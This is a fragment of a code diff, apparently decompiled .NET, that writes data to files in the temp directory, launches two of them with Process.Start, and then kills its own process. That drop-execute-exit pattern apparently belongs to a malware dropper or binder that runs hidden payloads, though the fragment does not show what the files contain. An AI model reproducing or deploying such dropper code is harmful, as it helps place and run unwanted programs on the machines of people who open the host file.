+        MyProject.Computer.FileSystem.WriteAllBytes(temp + "\\" + strArray[4], data2, false);
+        Process.Start(temp + "\\" + strArray[2]);
+        Process.Start(temp + "\\" + strArray[4]);
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        Process.GetCurrentProcess().Kill();
+        ProjectData.ClearProjectError();
+      }
+      Process.GetCurrentProcess().Kill();
+    }
+  }
+}